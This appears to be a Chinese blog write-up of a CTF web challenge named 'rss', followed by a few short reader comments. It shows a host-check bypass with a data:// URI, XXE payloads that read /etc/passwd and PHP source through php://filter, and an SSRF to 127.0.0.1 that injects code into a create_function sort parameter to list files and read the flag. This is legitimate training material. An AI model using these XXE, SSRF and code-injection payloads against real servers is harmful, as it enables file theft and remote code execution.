其余部分请见:https://xz.aliyun.com/t/6324
W&M No.1
原本写了 rss 和 icloudmusic 两个题的 WriteUp,但主办方说那篇 WriteUp 放出来的话有点危险,为了避免带来麻烦就只放 rss 的了。
知识点:
- data:// 伪协议
- xxe
- 代码审计
- SSRF
步骤:
1、打开靶机,看下功能,直接输入一个 rss,给解析出来。
同时限制了读取的域名。
2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料:https://www.jianshu.com/p/80ce73919edb
测试没毛病。
3、别忘了 RSS 也是 XML,那么就存在 XXE 的问题,我们来试试。
参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
啊哈,出来了。
4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
5、读取结果 base64 解码一下,得到 index.php 源码。
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}
分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。
7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
8、那么就再来读读 views 下的 Admin.php。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
分析下源码,主要是这里有意思,
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>
得到返回,看到 flag 文件名。
10、读下这个文件。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>
11、Flag 到手~
6 个评论
repostone
非技术的路过。
admin
非技术人员路人。。
路人甲
ORZ !!!!
安不上
一个测试
啊啊啊
测试 123
peter
我要另一个writeups ,要有分享精神,否则世界就不会进步。